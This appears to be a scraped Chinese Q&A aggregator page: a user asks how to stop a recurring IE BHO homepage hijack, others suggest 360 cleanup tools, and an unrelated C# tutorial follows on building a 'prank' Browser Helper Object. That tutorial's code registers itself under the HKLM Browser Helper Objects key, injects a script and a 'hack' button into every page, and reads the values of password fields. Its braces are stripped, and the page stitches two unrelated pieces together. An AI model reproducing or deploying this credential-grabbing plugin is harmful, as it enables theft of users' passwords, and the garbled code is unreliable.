IE中BHO插件被修改...该如何解决

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了IE中BHO插件被修改...该如何解决相关的知识,希望对你有一定的参考价值。

只要我的电脑,从新启动几次,最后超级兔子中就提示:
IE中BHO插件被修改,每次都是这样,而且我把主页更改过后
但是点了几次 又恢复到以前的那个主页去了
而且打开IE属性的设置 主页却是我设置的主页,但是打开的却是另外的主页
很是郁闷,急求高手帮助!~~谢谢
如果能处理,可以详细点说明,小弟在此感谢!~
修复了的,每次修复了只要隔上几次又还原了,我每天都要用超级兔子修复,一直改变不了 我的意思像彻底清除,而且我用的是卡巴斯基杀毒软件,显示没有病毒,但是超级兔子检测出BHO插件被修改

你用360修复IE和清除系统中的恶意插件。
360,高级,修复IE,修复一下你的IE。
360,清理恶评插件,扫描完成后,清除扫描到的恶意插件。

还有就是你的桌面IE快捷方式可能加入这个网址的代码。把桌面的快捷方式删除掉。到C:\\Program Files\\Internet Explorer目录下,找到iexplore.exe,右键,发送到,桌面快捷方式。

再一个可能就是某个开机启动的恶意程序所为。
360,软件管家,开机加速中,只保留ctfmon,360,还有杀毒软件,另外就是你需要开机启动的程序,把其它的都设置为禁止启动。

重启电脑,重新设置主页。
参考技术A 哈,同病相怜啊!我从昨晚弄到现在都还没解决这个问题!
情况跟你的一模一样。。。
用360修复都没有用的!楼上提供的所有方法我都试了,还是不能够解决!
索性重组装好了!不过重装后这个问题仍然存在!
我跟你一起期待高手赐教!
参考技术B 方法1:你先用360卫士查杀扫描然后在高级中选修复IE。
方法2:如果还不好使你就用360急救箱特别管用
方法3:我建议你下载一个windows清理助手他可以帮你完全解绝这个问题占用资源还少还不伤害系统还彻底,只是不太好找下载资源。
你的问题我也遇到过,我就是用方法2加方法3弄好的。祝你好运了。

制作一个属于自己的BHO吧!(C#)

   BHO(Browser Helper Object)是插件,它寄存在IE浏览器中运行。在咱们的日常生活中无时无刻都在使用BHO,比如:迅雷检测用户是否单击了下载链接的BHO。用BHO也能做出些非常有意思的程序:窃取用户在网页上输入的密码信息等。

  接下来,咱们也来制作一个恶搞的BHO吧,该BHO的功能如下:

  1.注册成功后,每当用户浏览一个新的网页时,会自动在该网页中注入一个按钮

  2.点击该按钮能获取用户在该网页中输入的敏感信息

 

操作步骤

图1

图2

图3

图4

图5

图6

图7

 

程序代码

IObjectWithSite.cs

using System;
using System.Collections.Generic;

using System.Text;

using System.Runtime.InteropServices;

namespace HelloBHO


    [
ComVisible(true),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown),
Guid("FC4801A3-2BA9-11CF-A229-00AA003D7352")
]

    public interface IObjectWithSite
    
        [PreserveSig]
        int SetSite([MarshalAs(UnmanagedType.IUnknown)]object site);
        [PreserveSig]
        int GetSite(ref Guid guid, out IntPtr ppvSite);
    


BHO.cs

using System;
using System.Collections.Generic;
using System.Text;

using System.Runtime.InteropServices;
using SHDocVw;
using mshtml;
using Microsoft.Win32;

namespace HelloBHO


        [
    ComVisible(true),
    Guid("8a194578-81ea-4850-9911-13ba2d71efbd"),
    ClassInterface(ClassInterfaceType.None)
    ]
    public class BHO:IObjectWithSite
    
        WebBrowser webBrowser;
        HTMLDocument document;

        public void OnDocumentComplete(object pDisp,ref object URL)
        
            document = (HTMLDocument)webBrowser.Document;
            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
            var body = (HTMLBody)document.body;
           
            //添加Javascript脚本
            IHTMLScriptElement scriptElement = (IHTMLScriptElement)document.createElement("script");
            scriptElement.type = "text/javascript";
            scriptElement.text = "function FindPassword()var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++)if(tmp[i].type.toLowerCase()=='password')pwdList+=tmp[i].value alert(pwdList);";//document.getElementById('PWDHACK').value=pwdList;
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement);

            //创建些可以使用CSS的节点
            string styleText = @".tbposition:absolute;top:100px;";//left:100px;border:1px red solid;width:50px;height:50px;
            IHTMLStyleElement tmpStyle = (IHTMLStyleElement)document.createElement("style");
            
            tmpStyle.type = "text/css";
            tmpStyle.styleSheet.cssText = styleText;

            string btnString = @"<input type='button' value='hack' οnclick='FindPassword()' />";
            body.insertAdjacentHTML("afterBegin", btnString);



        

        public int SetSite(object site)
        
            if (site != null)
            
                webBrowser = (WebBrowser)site;
               
                webBrowser.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);
            
            else
            
                webBrowser.DocumentComplete -= new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);
                webBrowser = null;
            
            return 0;
        

        public void OnBeforeNavigate2(object pDisp, ref object URL, ref object Flags, ref object TargetFrameName, ref object PostData, ref object Headers, ref bool Cancel)
        
            document = (HTMLDocument)webBrowser.Document;
            foreach (IHTMLInputElement element in document.getElementsByTagName("INPUT"))
            
                if (element.type.ToLower() == "password")
                
                    System.Windows.Forms.MessageBox.Show(element.value);
                
            
        



        public int GetSite(ref Guid guid, out IntPtr ppvSite)
        
            IntPtr punk = Marshal.GetIUnknownForObject(webBrowser);
            int hr = Marshal.QueryInterface(punk, ref guid, out ppvSite);
            Marshal.Release(punk);
            return hr;
        


        public static string BHOKEYNAME = "Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Browser Helper Objects";


        [ComRegisterFunction]
        public static void RegisterBHO(Type type)
        
            RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);

            if (registryKey == null)
                registryKey = Registry.LocalMachine.CreateSubKey(BHOKEYNAME);

            string guid = type.GUID.ToString("B");
            RegistryKey ourKey = registryKey.OpenSubKey(guid);

            if (ourKey == null)
                ourKey = registryKey.CreateSubKey(guid);

            registryKey.Close();
            ourKey.Close();
        

        [ComUnregisterFunction]
        public static void UnregisterBHO(Type type)
        
            RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);
            string guid = type.GUID.ToString("B");

            if (registryKey != null)
                registryKey.DeleteSubKey(guid, false);
        
    


 

资源下载


 

以上是关于IE中BHO插件被修改...该如何解决的主要内容,如果未能解决你的问题,请参考以下文章

使用 IE 插件 Browser Helper Object (BHO) 在 iframe 中访问正文(至少一些数据)

ActiveX 或 BHO(Internet Explorer)

在没有 BHO 的情况下以编程方式确定 IE 窗口当前 URL

在IE的管理加载项里有个这个BHO.BrowserMonitor,请问是啥东西?

浏览器被劫持了 该怎么办?

如何在 IE 保护模式下抑制警告